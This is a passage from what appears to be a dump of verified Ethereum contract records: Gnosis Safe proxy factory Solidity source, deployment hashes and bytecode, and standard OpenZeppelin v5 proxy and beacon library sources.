let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
1 | 20,290,791 | 7f08065f090b2123394caa3e0e5aef728d1ef5389499f5ff714557ee0ceb2683 | c1299cf05e6f7a7f1e931bb54c7974482fd75b021acb9e16f138d0c8c6de93ae | b7af86d7b49ca0c618288723ea95c932e4fb4451 | b7af86d7b49ca0c618288723ea95c932e4fb4451 | 61213a6ae6c957442d0fcbcea2218b762a5431cd | 60a06040526040516105bf3803806105bf83398101604081905261002291610387565b61002c828261003e565b506001600160a01b031660805261047e565b610047826100fe565b6040516001600160a01b038316907f1cf3b03a6cf19fa2baba4df148e9dcabedea7f8a5c07840e207e5c089be95d3e90600090a28051156100f2576100ed826001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e79190610447565b82610211565b505050565b6100fa610288565b5050565b806001600160a01b03163b60000361013957604051631933b43b60e21b81526001600160a01b03821660048201526024015b60405180910390fd5b807fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d5080546001600160a01b0319166001600160a01b0392831617905560408051635c60da1b60e01b81529051600092841691635c60da1b9160048083019260209291908290030181865afa1580156101b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101d99190610447565b9050806001600160a01b03163b6000036100fa57604051634c9c8ce360e01b81526001600160a01b0382166004820152602401610130565b6060600080846001600160a01b03168460405161022e9190610462565b600060405180830381855af49150503d8060008114610269576040519150601f19603f3d011682016040523d82523d6000602084013e61026e565b606091505b50909250905061027f8583836102a9565b95945050505050565b34156102a75760405163b398979f60e01b815260040160405180910390fd5b565b6060826102be576102b982610308565b610301565b81511580156102d557506001600160a01b0384163b155b156102fe57604051639996b31560e01b81526001600160a01b0385166004820152602401610130565b50805b9392505050565b8051156103185780518082602001fd5b604051630a12f52160e11b815260040160405180910390fd5b80516001600160a01b038116811461034857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b8381101561037e578181015183820152602001610366565b50506000910152565b6000806040838503121561039a57600080fd5b6103a383610331565b60208401519092506001600160401b03808211156103c057600080fd5b818501915085601f8301126103d457600080fd5b8151818111156103e6576103e661034d565b604051601f8201601f19908116603f0116810190838211818310171561040e5761040e61034d565b8160405282815288602084870101111561042757600080fd5b610438836020830160208801610363565b80955050505050509250929050565b60006020828403121561045957600080fd5b61030182610331565b60008251610474818460208701610363565b9190910192915050565b6080516101276104986000396000601e01526101276000f3fe6080604052600a600c565b005b60186014601a565b60a0565b565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156079573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190609b919060c3565b905090565b3660008037600080366000845af43d6000803e80801560be573d6000f35b3d6000fd5b60006020828403121560d457600080fd5b81516001600160a01b038116811460ea57600080fd5b939250505056fea26469706673582212200f311de43a2f58324c63d72a88479ec40f8d7a49fa50ea1b660a87007e797ca264736f6c634300081400330000000000000000000000008fe02416b79489443a34b200a29938297730d80f00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000024c4d66de8000000000000000000000000fba8bfd1ed275dcbef65520834d1162b9d149cf500000000000000000000000000000000000000000000000000000000 | 6080604052600a600c565b005b60186014601a565b60a0565b565b60007f0000000000000000000000008fe02416b79489443a34b200a29938297730d80f6001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156079573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190609b919060c3565b905090565b3660008037600080366000845af43d6000803e80801560be573d6000f35b3d6000fd5b60006020828403121560d457600080fd5b81516001600160a01b038116811460ea57600080fd5b939250505056fea26469706673582212200f311de43a2f58324c63d72a88479ec40f8d7a49fa50ea1b660a87007e797ca264736f6c63430008140033 | {{
"language": "Solidity",
"sources": {
"@openzeppelin/contracts/access/Ownable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)\n\npragma solidity ^0.8.20;\n\nimport {Context} from \"../utils/Context.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * The initial owner is set to the address provided by the deployer. This can\n * later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract Ownable is Context {\n address private _owner;\n\n /**\n * @dev The caller account is not authorized to perform an operation.\n */\n error OwnableUnauthorizedAccount(address account);\n\n /**\n * @dev The owner is not a valid owner account. (eg. `address(0)`)\n */\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the address provided by the deployer as the initial owner.\n */\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n _transferOwnership(initialOwner);\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby disabling any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n _transferOwnership(newOwner);\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC1967.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC1967.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev ERC-1967: Proxy Storage Slots. This interface contains the events defined in the ERC.\n */\ninterface IERC1967 {\n /**\n * @dev Emitted when the implementation is upgraded.\n */\n event Upgraded(address indexed implementation);\n\n /**\n * @dev Emitted when the admin account has changed.\n */\n event AdminChanged(address previousAdmin, address newAdmin);\n\n /**\n * @dev Emitted when the beacon is changed.\n */\n event BeaconUpgraded(address indexed beacon);\n}\n"
},
"@openzeppelin/contracts/proxy/beacon/BeaconProxy.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (proxy/beacon/BeaconProxy.sol)\n\npragma solidity ^0.8.20;\n\nimport {IBeacon} from \"./IBeacon.sol\";\nimport {Proxy} from \"../Proxy.sol\";\nimport {ERC1967Utils} from \"../ERC1967/ERC1967Utils.sol\";\n\n/**\n * @dev This contract implements a proxy that gets the implementation address for each call from an {UpgradeableBeacon}.\n *\n * The beacon address can only be set once during construction, and cannot be changed afterwards. It is stored in an\n * immutable variable to avoid unnecessary storage reads, and also in the beacon storage slot specified by\n * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] so that it can be accessed externally.\n *\n * CAUTION: Since the beacon address can never be changed, you must ensure that you either control the beacon, or trust\n * the beacon to not upgrade the implementation maliciously.\n *\n * IMPORTANT: Do not use the implementation logic to modify the beacon storage slot. Doing so would leave the proxy in\n * an inconsistent state where the beacon storage slot does not match the beacon address.\n */\ncontract BeaconProxy is Proxy {\n // An immutable address for the beacon to avoid unnecessary SLOADs before each delegate call.\n address private immutable _beacon;\n\n /**\n * @dev Initializes the proxy with `beacon`.\n *\n * If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. This\n * will typically be an encoded function call, and allows initializing the storage of the proxy like a Solidity\n * constructor.\n *\n * Requirements:\n *\n * - `beacon` must be a contract with the interface {IBeacon}.\n * - If `data` is empty, `msg.value` must be zero.\n */\n constructor(address beacon, bytes memory data) payable {\n ERC1967Utils.upgradeBeaconToAndCall(beacon, data);\n _beacon = beacon;\n }\n\n /**\n * @dev Returns the current implementation address of the associated beacon.\n */\n function _implementation() internal view virtual override returns (address) {\n return IBeacon(_getBeacon()).implementation();\n }\n\n /**\n * @dev Returns the beacon.\n */\n function _getBeacon() internal view virtual returns (address) {\n return _beacon;\n }\n}\n"
},
"@openzeppelin/contracts/proxy/beacon/IBeacon.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (proxy/beacon/IBeacon.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev This is the interface that {BeaconProxy} expects of its beacon.\n */\ninterface IBeacon {\n /**\n * @dev Must return an address that can be used as a delegate call target.\n *\n * {UpgradeableBeacon} will check that this address is a contract.\n */\n function implementation() external view returns (address);\n}\n"
},
"@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (proxy/beacon/UpgradeableBeacon.sol)\n\npragma solidity ^0.8.20;\n\nimport {IBeacon} from \"./IBeacon.sol\";\nimport {Ownable} from \"../../access/Ownable.sol\";\n\n/**\n * @dev This contract is used in conjunction with one or more instances of {BeaconProxy} to determine their\n * implementation contract, which is where they will delegate all function calls.\n *\n * An owner is able to change the implementation the beacon points to, thus upgrading the proxies that use this beacon.\n */\ncontract UpgradeableBeacon is IBeacon, Ownable {\n address private _implementation;\n\n /**\n * @dev The `implementation` of the beacon is invalid.\n */\n error BeaconInvalidImplementation(address implementation);\n\n /**\n * @dev Emitted when the implementation returned by the beacon is changed.\n */\n event Upgraded(address indexed implementation);\n\n /**\n * @dev Sets the address of the initial implementation, and the initial owner who can upgrade the beacon.\n */\n constructor(address implementation_, address initialOwner) Ownable(initialOwner) {\n _setImplementation(implementation_);\n }\n\n /**\n * @dev Returns the current implementation address.\n */\n function implementation() public view virtual returns (address) {\n return _implementation;\n }\n\n /**\n * @dev Upgrades the beacon to a new implementation.\n *\n * Emits an {Upgraded} event.\n *\n * Requirements:\n *\n * - msg.sender must be the owner of the contract.\n * - `newImplementation` must be a contract.\n */\n function upgradeTo(address newImplementation) public virtual onlyOwner {\n _setImplementation(newImplementation);\n }\n\n /**\n * @dev Sets the implementation contract address for this beacon\n *\n * Requirements:\n *\n * - `newImplementation` must be a contract.\n */\n function _setImplementation(address newImplementation) private {\n if (newImplementation.code.length == 0) {\n revert BeaconInvalidImplementation(newImplementation);\n }\n _implementation = newImplementation;\n emit Upgraded(newImplementation);\n }\n}\n"
},
"@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (proxy/ERC1967/ERC1967Proxy.sol)\n\npragma solidity ^0.8.20;\n\nimport {Proxy} from \"../Proxy.sol\";\nimport {ERC1967Utils} from \"./ERC1967Utils.sol\";\n\n/**\n * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an\n * implementation address that can be changed. This address is stored in storage in the location specified by\n * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the\n * implementation behind the proxy.\n */\ncontract ERC1967Proxy is Proxy {\n /**\n * @dev Initializes the upgradeable proxy with an initial implementation specified by `implementation`.\n *\n * If `_data` is nonempty, it's used as data in a delegate call to `implementation`. This will typically be an\n * encoded function call, and allows initializing the storage of the proxy like a Solidity constructor.\n *\n * Requirements:\n *\n * - If `data` is empty, `msg.value` must be zero.\n */\n constructor(address implementation, bytes memory _data) payable {\n ERC1967Utils.upgradeToAndCall(implementation, _data);\n }\n\n /**\n * @dev Returns the current implementation address.\n *\n * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using\n * the https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.\n * `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`\n */\n function _implementation() internal view virtual override returns (address) {\n return ERC1967Utils.getImplementation();\n }\n}\n"
},
"@openzeppelin/contracts/proxy/ERC1967/ERC1967Utils.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (proxy/ERC1967/ERC1967Utils.sol)\n\npragma solidity ^0.8.20;\n\nimport {IBeacon} from \"../beacon/IBeacon.sol\";\nimport {Address} from \"../../utils/Address.sol\";\nimport {StorageSlot} from \"../../utils/StorageSlot.sol\";\n\n/**\n * @dev This abstract contract provides getters and event emitting update functions for\n * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.\n */\nlibrary ERC1967Utils {\n // We re-declare ERC-1967 events here because they can't be used directly from IERC1967.\n // This will be fixed in Solidity 0.8.21. At that point we should remove these events.\n /**\n * @dev Emitted when the implementation is upgraded.\n */\n event Upgraded(address indexed implementation);\n\n /**\n * @dev Emitted when the admin account has changed.\n */\n event AdminChanged(address previousAdmin, address newAdmin);\n\n /**\n * @dev Emitted when the beacon is changed.\n */\n event BeaconUpgraded(address indexed beacon);\n\n /**\n * @dev Storage slot with the address of the current implementation.\n * This is the keccak-256 hash of \"eip1967.proxy.implementation\" subtracted by 1.\n */\n // solhint-disable-next-line private-vars-leading-underscore\n bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n /**\n * @dev The `implementation` of the proxy is invalid.\n */\n error ERC1967InvalidImplementation(address implementation);\n\n /**\n * @dev The `admin` of the proxy is invalid.\n */\n error ERC1967InvalidAdmin(address admin);\n\n /**\n * @dev The `beacon` of the proxy is invalid.\n */\n error ERC1967InvalidBeacon(address beacon);\n\n /**\n * @dev An upgrade function sees `msg.value > 0` that may be lost.\n */\n error ERC1967NonPayable();\n\n /**\n * @dev Returns the current implementation address.\n */\n function getImplementation() internal view returns (address) {\n return StorageSlot.getAddressSlot(IMPLEMENTATION_SLOT).value;\n }\n\n /**\n * @dev Stores a new address in the EIP1967 implementation slot.\n */\n function _setImplementation(address newImplementation) private {\n if (newImplementation.code.length == 0) {\n revert ERC1967InvalidImplementation(newImplementation);\n }\n StorageSlot.getAddressSlot(IMPLEMENTATION_SLOT).value = newImplementation;\n }\n\n /**\n * @dev Performs implementation upgrade with additional setup call if data is nonempty.\n * This function is payable only if the setup call is performed, otherwise `msg.value` is rejected\n * to avoid stuck value in the contract.\n *\n * Emits an {IERC1967-Upgraded} event.\n */\n function upgradeToAndCall(address newImplementation, bytes memory data) internal {\n _setImplementation(newImplementation);\n emit Upgraded(newImplementation);\n\n if (data.length > 0) {\n Address.functionDelegateCall(newImplementation, data);\n } else {\n _checkNonPayable();\n }\n }\n\n /**\n * @dev Storage slot with the admin of the contract.\n * This is the keccak-256 hash of \"eip1967.proxy.admin\" subtracted by 1.\n */\n // solhint-disable-next-line private-vars-leading-underscore\n bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;\n\n /**\n * @dev Returns the current admin.\n *\n * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using\n * the https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.\n * `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`\n */\n function getAdmin() internal view returns (address) {\n return StorageSlot.getAddressSlot(ADMIN_SLOT).value;\n }\n\n /**\n * @dev Stores a new address in the EIP1967 admin slot.\n */\n function _setAdmin(address newAdmin) private {\n if (newAdmin == address(0)) {\n revert ERC1967InvalidAdmin(address(0));\n }\n StorageSlot.getAddressSlot(ADMIN_SLOT).value = newAdmin;\n }\n\n /**\n * @dev Changes the admin of the proxy.\n *\n * Emits an {IERC1967-AdminChanged} event.\n */\n function changeAdmin(address newAdmin) internal {\n emit AdminChanged(getAdmin(), newAdmin);\n _setAdmin(newAdmin);\n }\n\n /**\n * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.\n * This is the keccak-256 hash of \"eip1967.proxy.beacon\" subtracted by 1.\n */\n // solhint-disable-next-line private-vars-leading-underscore\n bytes32 internal constant BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;\n\n /**\n * @dev Returns the current beacon.\n */\n function getBeacon() internal view returns (address) {\n return StorageSlot.getAddressSlot(BEACON_SLOT).value;\n }\n\n /**\n * @dev Stores a new beacon in the EIP1967 beacon slot.\n */\n function _setBeacon(address newBeacon) private {\n if (newBeacon.code.length == 0) {\n revert ERC1967InvalidBeacon(newBeacon);\n }\n\n StorageSlot.getAddressSlot(BEACON_SLOT).value = newBeacon;\n\n address beaconImplementation = IBeacon(newBeacon).implementation();\n if (beaconImplementation.code.length == 0) {\n revert ERC1967InvalidImplementation(beaconImplementation);\n }\n }\n\n /**\n * @dev Change the beacon and trigger a setup call if data is nonempty.\n * This function is payable only if the setup call is performed, otherwise `msg.value` is rejected\n * to avoid stuck value in the contract.\n *\n * Emits an {IERC1967-BeaconUpgraded} event.\n *\n * CAUTION: Invoking this function has no effect on an instance of {BeaconProxy} since v5, since\n * it uses an immutable beacon without looking at the value of the ERC-1967 beacon slot for\n * efficiency.\n */\n function upgradeBeaconToAndCall(address newBeacon, bytes memory data) internal {\n _setBeacon(newBeacon);\n emit BeaconUpgraded(newBeacon);\n\n if (data.length > 0) {\n Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);\n } else {\n _checkNonPayable();\n }\n }\n\n /**\n * @dev Reverts if `msg.value` is not zero. It can be used to avoid `msg.value` stuck in the contract\n * if an upgrade doesn't perform an initialization call.\n */\n function _checkNonPayable() private {\n if (msg.value > 0) {\n revert ERC1967NonPayable();\n }\n }\n}\n"
},
"@openzeppelin/contracts/proxy/Proxy.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (proxy/Proxy.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n * be specified by overriding the virtual {_implementation} function.\n *\n * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n * different contract through the {_delegate} function.\n *\n * The success and return data of the delegated call will be returned back to the caller of the proxy.\n */\nabstract contract Proxy {\n /**\n * @dev Delegates the current call to `implementation`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _delegate(address implementation) internal virtual {\n assembly {\n // Copy msg.data. We take full control of memory in this inline assembly\n // block because it will not return to Solidity code. We overwrite the\n // Solidity scratch pad at memory position 0.\n calldatacopy(0, 0, calldatasize())\n\n // Call the implementation.\n // out and outsize are 0 because we don't know the size yet.\n let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n // Copy the returned data.\n returndatacopy(0, 0, returndatasize())\n\n switch result\n // delegatecall returns 0 on error.\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n /**\n * @dev This is a virtual function that should be overridden so it returns the address to which the fallback\n * function and {_fallback} should delegate.\n */\n function _implementation() internal view virtual returns (address);\n\n /**\n * @dev Delegates the current call to the address returned by `_implementation()`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _fallback() internal virtual {\n _delegate(_implementation());\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n * function in the contract matches the call data.\n */\n fallback() external payable virtual {\n _fallback();\n }\n}\n"
},
"@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (proxy/transparent/ProxyAdmin.sol)\n\npragma solidity ^0.8.20;\n\nimport {ITransparentUpgradeableProxy} from \"./TransparentUpgradeableProxy.sol\";\nimport {Ownable} from \"../../access/Ownable.sol\";\n\n/**\n * @dev This is an auxiliary contract meant to be assigned as the admin of a {TransparentUpgradeableProxy}. For an\n * explanation of why you would want to use this see the documentation for {TransparentUpgradeableProxy}.\n */\ncontract ProxyAdmin is Ownable {\n /**\n * @dev The version of the upgrade interface of the contract. If this getter is missing, both `upgrade(address)`\n * and `upgradeAndCall(address,bytes)` are present, and `upgradeTo` must be used if no function should be called,\n * while `upgradeAndCall` will invoke the `receive` function if the second argument is the empty byte string.\n * If the getter returns `\"5.0.0\"`, only `upgradeAndCall(address,bytes)` is present, and the second argument must\n * be the empty byte string if no function should be called, making it impossible to invoke the `receive` function\n * during an upgrade.\n */\n string public constant UPGRADE_INTERFACE_VERSION = \"5.0.0\";\n\n /**\n * @dev Sets the initial owner who can perform upgrades.\n */\n constructor(address initialOwner) Ownable(initialOwner) {}\n\n /**\n * @dev Upgrades `proxy` to `implementation` and calls a function on the new implementation.\n * See {TransparentUpgradeableProxy-_dispatchUpgradeToAndCall}.\n *\n * Requirements:\n *\n * - This contract must be the admin of `proxy`.\n * - If `data` is empty, `msg.value` must be zero.\n */\n function upgradeAndCall(\n ITransparentUpgradeableProxy proxy,\n address implementation,\n bytes memory data\n ) public payable virtual onlyOwner {\n proxy.upgradeToAndCall{value: msg.value}(implementation, data);\n }\n}\n"
},
"@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (proxy/transparent/TransparentUpgradeableProxy.sol)\n\npragma solidity ^0.8.20;\n\nimport {ERC1967Utils} from \"../ERC1967/ERC1967Utils.sol\";\nimport {ERC1967Proxy} from \"../ERC1967/ERC1967Proxy.sol\";\nimport {IERC1967} from \"../../interfaces/IERC1967.sol\";\nimport {ProxyAdmin} from \"./ProxyAdmin.sol\";\n\n/**\n * @dev Interface for {TransparentUpgradeableProxy}. In order to implement transparency, {TransparentUpgradeableProxy}\n * does not implement this interface directly, and its upgradeability mechanism is implemented by an internal dispatch\n * mechanism. The compiler is unaware that these functions are implemented by {TransparentUpgradeableProxy} and will not\n * include them in the ABI so this interface must be used to interact with it.\n */\ninterface ITransparentUpgradeableProxy is IERC1967 {\n function upgradeToAndCall(address, bytes calldata) external payable;\n}\n\n/**\n * @dev This contract implements a proxy that is upgradeable through an associated {ProxyAdmin} instance.\n *\n * To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector\n * clashing], which can potentially be used in an attack, this contract uses the\n * https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two\n * things that go hand in hand:\n *\n * 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if\n * that call matches the {ITransparentUpgradeableProxy-upgradeToAndCall} function exposed by the proxy itself.\n * 2. If the admin calls the proxy, it can call the `upgradeToAndCall` function but any other call won't be forwarded to\n * the implementation. If the admin tries to call a function on the implementation it will fail with an error indicating\n * the proxy admin cannot fallback to the target implementation.\n *\n * These properties mean that the admin account can only be used for upgrading the proxy, so it's best if it's a\n * dedicated account that is not used for anything else. This will avoid headaches due to sudden errors when trying to\n * call a function from the proxy implementation. For this reason, the proxy deploys an instance of {ProxyAdmin} and\n * allows upgrades only if they come through it. You should think of the `ProxyAdmin` instance as the administrative\n * interface of the proxy, including the ability to change who can trigger upgrades by transferring ownership.\n *\n * NOTE: The real interface of this proxy is that defined in `ITransparentUpgradeableProxy`. This contract does not\n * inherit from that interface, and instead `upgradeToAndCall` is implicitly implemented using a custom dispatch\n * mechanism in `_fallback`. Consequently, the compiler will not produce an ABI for this contract. This is necessary to\n * fully implement transparency without decoding reverts caused by selector clashes between the proxy and the\n * implementation.\n *\n * NOTE: This proxy does not inherit from {Context} deliberately. The {ProxyAdmin} of this contract won't send a\n * meta-transaction in any way, and any other meta-transaction setup should be made in the implementation contract.\n *\n * IMPORTANT: This contract avoids unnecessary storage reads by setting the admin only during construction as an\n * immutable variable, preventing any changes thereafter. However, the admin slot defined in ERC-1967 can still be\n * overwritten by the implementation logic pointed to by this proxy. In such cases, the contract may end up in an\n * undesirable state where the admin slot is different from the actual admin.\n *\n * WARNING: It is not recommended to extend this contract to add additional external functions. If you do so, the\n * compiler will not check that there are no selector conflicts, due to the note above. A selector clash between any new\n * function and the functions declared in {ITransparentUpgradeableProxy} will be resolved in favor of the new one. This\n * could render the `upgradeToAndCall` function inaccessible, preventing upgradeability and compromising transparency.\n */\ncontract TransparentUpgradeableProxy is ERC1967Proxy {\n // An immutable address for the admin to avoid unnecessary SLOADs before each call\n // at the expense of removing the ability to change the admin once it's set.\n // This is acceptable if the admin is always a ProxyAdmin instance or similar contract\n // with its own ability to transfer the permissions to another account.\n address private immutable _admin;\n\n /**\n * @dev The proxy caller is the current admin, and can't fallback to the proxy target.\n */\n error ProxyDeniedAdminAccess();\n\n /**\n * @dev Initializes an upgradeable proxy managed by an instance of a {ProxyAdmin} with an `initialOwner`,\n * backed by the implementation at `_logic`, and optionally initialized with `_data` as explained in\n * {ERC1967Proxy-constructor}.\n */\n constructor(address _logic, address initialOwner, bytes memory _data) payable 